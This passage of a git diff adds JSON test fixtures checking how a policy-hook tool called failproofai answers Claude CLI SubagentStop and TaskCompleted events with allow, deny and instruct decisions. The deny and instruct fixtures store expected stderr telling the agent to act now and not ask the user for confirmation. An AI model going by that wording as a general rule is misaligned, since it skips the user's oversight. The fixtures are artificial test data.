{ + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/SubagentStop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..f891922f --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/SubagentStop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..d564fbb9 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/SubagentStop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..fe9984d1 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/SubagentStop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..928d7a85 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/SubagentStop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..e347a6a5 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/SubagentStop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..5552ebd5 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/SubagentStop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..45bf4ded --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/SubagentStop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..7218d48f --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/SubagentStop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..5969920c --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/SubagentStop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..d29c1848 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/SubagentStop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..2d430e11 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/SubagentStop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..d4c0e0d5 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/SubagentStop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..d5b3ed70 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/SubagentStop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..7d46d210 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/SubagentStop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..b34b9fe9 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TaskCompleted/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/TaskCompleted/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..433fea1a --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCompleted/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TaskCompleted/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/TaskCompleted/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..90c5fe6a --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCompleted/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TaskCompleted/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/TaskCompleted/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..e19e97a6 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCompleted/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TaskCompleted/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/TaskCompleted/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..3ff8a20d --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCompleted/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git 